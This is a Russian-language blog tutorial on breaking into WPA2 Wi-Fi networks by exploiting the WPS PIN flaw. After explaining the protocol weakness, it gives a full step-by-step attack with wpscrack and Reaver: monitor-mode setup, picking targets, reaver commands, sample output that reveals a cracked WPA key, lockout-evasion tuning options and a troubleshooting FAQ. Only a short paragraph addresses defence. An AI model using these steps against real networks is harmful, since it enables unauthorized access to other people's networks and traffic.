June 13, 2021

Взлом WiFi

Еще не так давно казалось, что беспроводная сеть, защищенная с помощью технологии WPA2, вполне безопасна. Подобрать простой ключ для подключения действительно возможно. Но если установить по-настоящему длинный ключ, то сбрутить его не помогут ни радужные таблицы, ни даже ускорения за счет GPU. Но, как оказалось, подключиться к беспроводной сети можно и без этого — воспользовавшись недавно найденной уязвимостью в протоколе WPS.

Открытых точек доступа, к которым вообще не надо вводить ключ для подключения, становится все меньше и меньше. Кажется, что скоро их можно будет занести в Красную книгу. Если раньше человек мог даже и не знать, что беспроводную сеть можно закрыть ключом, обезопасив себя от посторонних подключений, то теперь ему все чаще подсказывают о такой возможности. Взять хотя бы кастомные прошивки, которые выпускают ведущие провайдеры для популярных моделей роутеров, чтобы упростить настройку. Нужно указать две вещи — логин/пароль и… ключ для защиты беспроводной сети. Что еще более важно, сами производители оборудования стараются сделать процесс настройки незамысловатым. Так, большинство современных роутеров поддерживают механизм WPS (Wi-Fi Protected Setup). С его помощью пользователь за считанные секунды может настроить безопасную беспроводную сеть, вообще не забивая себе голову тем, что «где-то еще нужно включить шифрование и прописать WPA-ключ». Ввел в системе восьмизначный символьный PIN, который написан на роутере, – и готово! И вот здесь держись крепче. В декабре сразу два исследователя рассказали о серьезных фундаментальных прорехах в протоколе WPS. Это как черный ход для любого роутера. Оказалось, что если в точке доступа активирован WPS (который, на минуточку, включен в большинстве роутеров по умолчанию), то подобрать PIN для подключения и извлечь ключ для подключения можно за считанные часы!

Как работает WPS?

Задумка создателей WPS хороша. Механизм автоматически задает имя сети и шифрование. Таким образом, пользователю нет необходимости лезть в веб-интерфейс и разбираться со сложными настройками. А к уже настроенной сети можно без проблем добавить любое устройство (например, ноутбук): если правильно ввести PIN, то он получит все необходимые настройки. Это очень удобно, поэтому все крупные игроки на рынке (Cisco/Linksys, Netgear, D-Link, Belkin, Buffalo, ZyXEL) сейчас предлагают беспроводные роутеры с поддержкой WPS. Разберемся чуть подробнее.

Существует три варианта использования WPS:

  1. Push-Button-Connect (PBC). Пользователь нажимает специальную кнопку на роутере (хардварную) и на компьютере (софтварную), тем самым активируя процесс настройки. Нам это неинтересно.
  2. Ввод PIN-кода в веб-интерфейсе.Пользователь заходит через браузер в административный интерфейс роутера и вводит там PIN-код из восьми цифр, написанный на корпусе устройства (рисунок 1), после чего происходит процесс настройки. Этот способ подходит скорее для первоначальной конфигурации роутера, поэтому мы его рассматривать тоже не будем.

Рисунок 1. PIN-код WPS, написанный на корпусе роутера

  1. Ввод PIN-кода на компьютере пользователя (рисунок 2).
    При соединении с роутером можно открыть специальную сессию WPS, в рамках которой настроить роутер или получить уже имеющиеся настройки, если правильно ввести PIN-код. Вот это уже привлекательно. Для открытия подобной сессии не нужна никакая аутентификация. Это может сделать любой желающий! Получается, что PIN-код уже потенциально подвержен атаке типа bruteforce. Но это лишь цветочки.

Рисунок 2. Окно для ввода PIN-кода WPS

Уязвимость

Как я уже заметил ранее, PIN-код состоит из восьми цифр — следовательно, существует 10^8 (100 000 000) вариантов для подбора. Однако количество вариантов можно существенно сократить. Дело в том, что последняя цифра PIN-кода представляет собой некую контрольную сумму, которая высчитывается на основании семи первых цифр. В итоге получаем уже 10^7 (10 000 000) вариантов. Но и это еще не все! Далее внимательно смотрим на устройство протокола аутентификации WPS (рисунок 3). Такое ощущение, что его специально проектировали, чтобы оставить возможность для брутфорса. Оказывается, проверка PIN-кода осуществляется в два этапа. Он делится на две равные части, и каждая часть проверяется отдельно!

Рисунок 3. Протокол аутентификации WPS

Посмотрим на схему:

  1. Если после отсылки сообщения M4 атакующий получил в ответ EAP-NACK, то он может быть уверен, что первая часть PIN-кода неправильная.
  2. Если же он получил EAP-NACK после отсылки M6, то, соответственно, вторая часть PIN-кода неверна. Получаем 10^4 (10 000) вариантов для первой половины и 10^3 (1 000) для второй. В итоге имеем всего лишь 11 000 вариантов для полного перебора. Чтобы лучше понять, как это будет работать, посмотри на схему.
  3. Важный момент — возможная скорость перебора. Она ограничена скоростью обработки роутером WPS-запросов: одни точки доступа будут выдавать результат каждую секунду, другие — каждые десять секунд. Основное время при этом затрачивается на расчет открытого ключа по алгоритму Диффи-Хеллмана, он должен быть сгенерирован перед шагом M3. Затраченное на это время можно уменьшить, выбрав на стороне клиента простой секретный ключ, который в дальнейшем упростит расчеты других ключей. Практика показывает, что для успешного результата обычно достаточно перебрать лишь половину всех вариантов, и в среднем брутфорс занимает всего от четырех до десяти часов.

Рисунок 4. Блок-схема брутфорса PIN-кода WPS

Первая реализация

Первой появившейся реализацией брутфорса стала утилита wpscrack, написанная исследователем Стефаном Фибёком на языке Python. Утилита использовала библиотеку Scapy, позволяющую инъектировать произвольные сетевые пакеты. Сценарий можно запустить только под Linux-системой, предварительно переведя беспроводной интерфейс в режим мониторинга. В качестве параметров необходимо указать имя сетевого интерфейса в системе, MAC-адрес беспроводного адаптера, а также MAC-адрес точки доступа и ее название (SSID).

$ ./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v

sniffer started

trying 00000000

attempt took 0.95 seconds

trying 00010009

<...>

trying 18660005

attempt took 1.08 seconds

trying 18670004 # found 1st half of PIN

attempt took 1.09 seconds

trying 18670011

attempt took 1.08 seconds

<...>

trying 18674095 # found 2st half of PIN

<...>

Network Key:

0000 72 65 61 6C 6C 79 5F 72 65 61 6C 6C 79 5F 6C 6F really_really_lo

0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 ng_wpa_passphras

0020 65 5F 67 6F 6F 64 6F 6C 75 63 6B 5F 63 72 61 63 e_good_luck_crac

0030 6B 69 6E 67 5F 74 68 69 73 5F 6F 6E 65 king_this_one

<...>

Как видишь, сначала была подобрана первая половина PIN-кода, затем — вторая, и в конце концов программа выдала готовый к использованию ключ для подключения к беспроводной сети. Сложно представить, сколько времени потребовалось бы, чтобы подобрать ключ такой длины (61 символ) ранее существовавшими инструментами. Впрочем, wpscrack не единственная утилита для эксплуатации уязвимости, и это довольно забавный момент: в то же самое время над той же самой проблемой работал и другой исследователь — Крейг Хеффнер из компании Tactical Network Solutions. Увидев, что в Сети появился работающий PoC для реализации атаки, он опубликовал свою утилиту Reaver. Она не только автоматизирует процесс подбора WPS-PIN и извлекает PSK-ключ, но и предлагает большее количество настроек, чтобы атаку можно было осуществить против самых разных роутеров. К тому же она поддерживает намного большее количество беспроводных адаптеров. Мы решили взять ее за основу и подробно описать, как злоумышленник может использовать уязвимость в протоколе WPS для подключения к защищенной беспроводной сети.

HOW-TO

Как и для любой другой атаки на беспроводную сеть, нам понадобится Linux. Тут надо сказать, что Reaver присутствует в репозитории всеми известного дистрибутива BackTrack, в котором к тому же уже включены необходимые драйвера для беспроводных устройств. Поэтому использовать мы будем именно его.

Шаг 0. Готовим систему

На официальном сайте BackTrack 5 R1 доступен для загрузки в виде виртуальной машины под VMware и загрузочного образа ISO. Рекомендую последний вариант. Можно просто записать образ на болванку, а можно с помощью программы UNetbootin сделать загрузочную флешку: так или иначе, загрузившись с такого носителя, мы без лишних заморочек сразу будем иметь систему, готовую к работе.

Шаг 1. Вход в систему

Логин и пароль для входа по умолчанию – root:toor. Оказавшись в консоли, можно смело стартовать «иксы» (есть отдельные сборки BackTrack — как с GNOME, так и KDE):

$ startx

Шаг 2. Установка Reaver

Чтобы загрузить Reaver, нам понадобится интернет. Поэтому подключаем патчкорд или настраиваем беспроводной адаптер (меню «Applications > Internet > Wicd Network Manager»). Далее запускаем эмулятор терминала, где загружаем последнюю версию утилиты через репозиторий:

$ apt-get update

$ apt-get install reaver

Тут надо сказать, что в репозитории находится версия 1.3, которая лично у меня заработала неправильно. Поискав информацию о проблеме, я нашел пост автора, который рекомендует обновиться до максимально возможной версии, скомпилировав исходники, взятые из SVN. Это, в общем, самый универсальный способ установки (для любого дистрибутива).

$ svn checkout reaver-wps.googlecode.com/svn/trunk reaver-wps

$ cd ./reaver-wps/src/

$ ./configure

$ make

$ make install

Никаких проблем со сборкой под BackTrack не будет — проверено лично. В дистрибутиве Arch Linux, которым пользуюсь я, установка производится и того проще, благодаря наличию соответствующего PKGBUILD'а:

$ yaourt -S reaver-wps-svn

Рисунок 5. Пример работы брутфорcа Reaver

Шаг 3. Подготовка к брутфорсу

Для использования Reaver необходимо проделать следующие вещи:

  • перевести беспроводной адаптер в режим мониторинга;
  • узнать имя беспроводного интерфейса;
  • узнать MAC-адрес точки доступа (BSSID);
  • убедиться, что на точке активирован WPS.

Для начала проверим, что беспроводной интерфейс вообще присутствует в системе:

$ iwconfig

Если в выводе этой команды есть интерфейс с описанием (обычно это wlan0) – значит, система распознала адаптер (если он подключался к беспроводной сети, чтобы загрузить Reaver, то лучше оборвать подключение). Переведем адаптер в режим мониторинга:

$ airmon-ng start wlan0

Эта команда создает виртуальный интерфейс в режиме мониторинга, его название будет указано в выводе команды (обычно это mon0). Теперь нам надо найти точку доступа для атаки и узнать её BSSID. Воспользуемся утилитой для прослушки беспроводного эфира airodump-ng:

$ airodump-ng mon0

На экране появится список точек доступа в радиусе досягаемости. Нас интересуют точки с шифрованием WPA/WPA2 и аутентификацией по ключу PSK. Лучше выбирать одну из первых в списке, так как для проведения атаки желательна хорошая связь с точкой. Если точек много и список не умещается на экране, то можно воспользоваться другой известной утилитой — kismet, там интерфейс более приспособлен в этом плане. Опционально можно на месте проверить, включен ли на нашей точке механизм WPS. Для этого в комплекте с Reaver (но только если брать его из SVN) идет утилита wash:

$ ./wash -i mon0

В качестве параметра задается имя интерфейса, переведенного в режим мониторинга. Также можно использовать опцию '-f' и скормить утилите .cap файл, созданный, например, тем же airodump-ng. По непонятной причине в пакет Reaver в BackTrack не включили утилиту wash. Будем надеяться, к моменту публикации статьи эту ошибку исправят.

Шаг 4. Запускаем брутфорс

Теперь можно приступать непосредственно к перебору PIN’а. Для старта Reaver в самом простом случае нужно немного. Необходимо лишь указать имя интерфейса (переведенного нами ранее в режим мониторинга) и BSSID точки доступа:

$ reaver -i mon0 -b 00:21:29:74:67:50 -vv

Ключ "-vv" включает расширенный вывод программы, чтобы мы могли убедиться, что все работает как надо.

Reaver v1.4 WiFi Protected Setup Attack Tool

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>

[+] Waiting for beacon from 00:21:29:74:67:50

[+] Associated with 00:21:29:74:67:50 (ESSID: linksys)

[+] Trying pin 63979978

Если программа последовательно отправляет PIN’ы точке доступа, значит, все завелось хорошо, и остается тупо ждать. Процесс может затянуться. Самое короткое время, за которое мне удалось сбрутфорсить PIN, составило примерно пять часов. Как только он будет подобран, программа радостно об этом сообщит:

[+] Trying pin 64637129

[+] Key cracked in 13654 seconds

[+] WPS PIN: '64637129'

[+] WPA PSK: 'MyH0rseThink$YouStol3HisCarrot!'

[+] AP SSID: 'linksys'

Самое ценное здесь — это, конечно же, ключ WPA-PSK, который сразу же можно использовать для подключения. Все так просто, что даже не укладывается в голове.

Рисунок 6. Reaver Pro — железка от создателей Reaver

Можно ли защититься?

Защититься от атаки можно пока одним способом — отключить нафиг WPS в настройках роутера. Правда, как оказалось, сделать это возможно далеко не всегда. Поскольку уязвимость существует не на уровне реализации, а на уровне протокола, ждать от производителей скорого патча, который решил бы все проблемы, не стоит. Самое большее, что они могут сейчас сделать, – это максимально противодействовать брутфорсу. Например, если блокировать WPS на один час после пяти неудачных попыток ввода PIN-кода, то перебор займет уже около 90 дней. Но другой вопрос, насколько быстро можно накатить такой патч на миллионы устройств, которые работают по всему миру?


Прокачиваем Reaver

В HOWTO мы показали самый простой и наиболее универсальный способ использования утилиты Reaver. Однако реализация WPS у разных производителей отличается, поэтому в некоторых случаях необходима дополнительная настройка. Ниже я приведу дополнительные опции, которые могут повысить скорость и эффективность перебора ключа.

  1. Можно задать номер канала и SSID точки доступа:
  2. # reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
  3. Благотворно сказывается на скорости брутфорса опция '--dh-small', которая задает небольшое значение секретного ключа, тем самым облегчая расчеты на стороне точки доступа:
  4. # reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small
  5. Таймаут ожидания ответа по умолчанию равен пяти секундам. При необходимости его можно изменить:
  6. # reaver -i mon0 -b 00:01:02:03:04:05 -t 2
  7. Задержка между попытками по умолчанию равна одной секунде. Она также может быть настроена:
  8. # reaver -i mon0 -b 00:01:02:03:04:05 -d 0
  9. Некоторые точки доступа могут блокировать WPS на определенное время, заподозрив, что их пытаются поиметь. Reaver эту ситуацию замечает и делает паузу в переборе на 315 секунд по умолчанию, длительность этой паузы можно менять:
  10. # reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
  11. Некоторые реализации протокола WPS разрывают соединение при неправильном PIN-коде, хотя по спецификации должны возвращать особое сообщение. Reaver автоматически распознает такую ситуацию, для этого существует опция '--nack':
  12. # reaver -i mon0 -b 00:01:02:03:04:05 --nack
  13. Опция '--eap-terminate' предназначена для работы с теми АР, которые требуют завершения WPS-сессии с помощью сообщения EAP FAIL:
  14. # reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
  15. Возникновение ошибок в WPS-сессии может означать, что АР ограничивает число попыток ввода PIN-кода, либо просто перегружена запросами. Информация об этом будет отображаться на экране. В этом случае Reaver приостанавливает свою деятельность, причем время паузы может быть задано с помощью опции '--fail-wait':
  16. # reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360

FAQ

Вопрос: Какой беспроводной адаптер нужен для взлома?

Ответ: Перед тем как экспериментировать, нужно убедиться, что беспроводной адаптер может работать в режиме мониторинга. Лучший способ — свериться со списком поддерживаемого оборудования на сайте проекта Aircrack-ng (bit.ly/wifi_adapter_list). Если же встанет вопрос о том, какой беспроводный модуль купить, то начать можно с любого адаптера на чипсете RTL8187L. USB’шные донглы легко найти в интернете за 20$.

Вопрос: Почему у меня возникают ошибки «timeout» и «out of order»?

Ответ: Обычно это происходит из-за низкого уровня сигнала и плохой связи с точкой доступа. Кроме того, точка доступа может на время заблокировать использование WPS.

Вопрос: Почему у меня не работает спуфинг MAC-адреса?

Ответ: Возможно, ты спуфишь MAC виртуального интерфейса mon0, а это работать не будет. Надо указывать имя реального интерфейса, например, wlan0.

Вопрос: Почему при плохом сигнале Reaver работает плохо, хотя тот же взлом WEP проходит нормально?

Ответ: Обычно взлом WEP происходит путем повторной пересылки перехваченных пакетов, чтобы получить больше векторов инициализации (IV), необходимых для успешного взлома. В этом случае неважно, потерялся какой-либо пакет, либо как-то был поврежден по пути. А вот для атаки на WPS необходимо строгое следование протоколу передачи пакетов между точкой доступа и Reaver для проверки каждого PIN-кода. И если при этом какой-то пакет потеряется, либо придет в непотребном виде, то придется заново устанавливать WPS-сессию. Это делает атаки на WPS гораздо более зависимыми от уровня сигнала. Также важно помнить, что если твой беспроводной адаптер видит точку доступа, то это ещё не значит, что и точка доступа видит тебя. Так что если ты являешься счастливым обладателем высокомощного адаптера от ALFA Network и антенны на пару десятков dBi, то не надейся, что получится поломать все пойманные точки доступа.

Вопрос: Reaver все время посылает точке доступа один и тот же PIN, в чем дело?

Ответ: Проверь, активирован ли на роутере WPS. Это можно сделать при помощи утилиты wash: запусти её и проверь, что твоя цель находится в списке.

Вопрос: Почему я не могу ассоциироваться с точкой доступа?

Ответ: Это может быть из-за плохого уровня сигнала или потому, что твой адаптер непригоден для подобных изысканий.

Вопрос: Почему я постоянно получаю ошибки «rate limiting detected»?

Ответ: Это происходит потому, что точка доступа заблокировала WPS. Обычно это временная блокировка (около пяти минут), но в некоторых случаях могут влепить и перманентный бан (разблокировка только через административную панель). Есть один неприятный баг в Reaver версии 1.3, из-за которого не определяются снятия подобных блокировок. В качестве воркэраунда предлагают использовать опцию '--ignore-locks' или скачать последнюю версию из SVN.

Вопрос: Можно ли одновременно запустить два и более экземпляров Reaver для ускорения атаки?

Ответ: Теоретически можно, но если они будут долбить одну и ту же точку доступа, то скорость перебора едва ли увеличится, так как в данном случае она ограничивается слабым железом точки доступа, которое уже при одном атакующем загружается по полной.


Экспресс-курс по взлому Wi-Fi

  1. WEP (Wired Equivalent Privacy). Самая первая технология для защиты беспроводной сети оказалась крайне слабой. Взломать ее можно буквально за несколько минут, используя слабости применяемого в ней шифра RC4. Основными инструментами здесь служат снифер airodump-ng для сбора пакетов и утилита aircrack-ng, используемая непосредственно для взлома ключа. Также существует специальная тулза wesside-ng, которая вообще взламывает все близлежащие точки с WEP в автоматическом режиме.
  2. WPA/WPA2 (Wireless Protected Access). Перебор — это единственный способ подобрать ключ для закрытой WPA/WPA2 сети (да и то исключительно при наличии дампа так называемого WPA Handshake, который передается в эфир при подключении клиента к точке доступа). Брутфорс может затянуться на дни, месяцы и годы. Для увеличения эффективности перебора сначала использовались специализированные словари, потом были сгенерированы радужные таблицы, позже появились утилиты, задействовавшие технологии NVIDIA CUDA и ATI Stream для аппаратного ускорения процесса за счет GPU. Используемые инструменты — aircrack-ng (брутфорс по словарю), cowpatty (с помощью радужных таблиц), pyrit (с использованием видеокарты).

Спасибо за внимание!